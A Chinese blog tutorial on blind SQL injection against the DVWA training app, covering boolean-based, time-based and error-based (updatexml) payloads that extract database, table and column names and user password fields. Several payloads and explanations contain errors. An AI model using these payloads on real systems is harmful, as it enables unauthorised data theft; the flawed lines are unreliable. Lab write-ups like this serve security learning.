DVWA 之 SQL Injection (Blind)

SQL盲注方法:
① 基于布尔的盲注
② 基于时间的盲注
③ 基于报错的盲注

基于布尔的盲注

这里我们先进行基于布尔的盲注,以等级为low举例
同sql注入一样,首先判断注入类型,利用二分法判断数据库名称的长度,判断数据库名称的字符组成,猜解数据库表名

1. 判断数据库名称的长度(假设这里为整型注入)

1’ and length(database())>10 # missing

直到出现exists,得出数据库名称长度

2. 判断数据库名称的字符组成

1 and ascii(substr(database(),1,1))>100 # missing

在这里插入图片描述得到数据库名称

3. 猜解数据库表名

(1) 猜解表的个数

 1 and (select count(table_name) from information_schema.tables where table_schema=database())>10

(2) 猜解表名

1 and length(substr ((table_name from information_schema.tables where table_schema=database() limit 0,1),1))

4. 猜解表中的字段名

(1) 猜解ueser表中的字段数目

1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=’users’)>10 #

(2) 猜解users表中各个字段的名称

1 and (select count(*) from information_schema.columns where table_schema=database() and table_name=’users’ and column_name=’username’)=1 #

5. 获取表中的字段值

(1) 用户名的字段值

 1 and length(substr((select user from users limit 0,1),1))>10 #

(2) 密码的字段值

1 and length(substr((select password from users limit 0,1),1))>10 #

基于时间的盲注

等级:midium

利用burpsuite进行操作

1. 猜解当前数据库的名称

用if函数作为判断条件,若为真执行sleep函数

1 and if(length(database())=4,sleep(2),1) # 

response time为2031 ms 说明当前连接数据库名称的字符长度为4,执行时延迟了5s

同上,利用ascii来判断数据库名称

1 and if(ascii(substr(database(),1,1))>88,sleep(2),1) #

response time 为2049

基于报错的盲注(详情见sqli-labs通关教程 Less-5)

“ACSII” 在url表示为 “0x7e”
“#” 在url表示 “%23”
“Space” 在url表示为 “+”

将error.php放置phpstudy下的文件夹内,访问127.0.0.1/error.php?Username=1,返回“ok”,我们再次访问username=1’我们对比发现后者出现错误。
在这里插入图片描述
在这里插入图片描述

利用**updatexml()**演示SQL语句获取user()的值,获取用户名

127.0.0.1/error.php?username=1’ and updatexml(1,concat(0x7e, (select user ()),0x7e),1) --+

在这里插入图片描述
获取表名

127.0.0.1/error.php?username=1’ and updatexml (1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’test’ limit0,1),0x7e),1) --+

猜你喜欢

转载自blog.csdn.net/weixin_47559704/article/details/115130374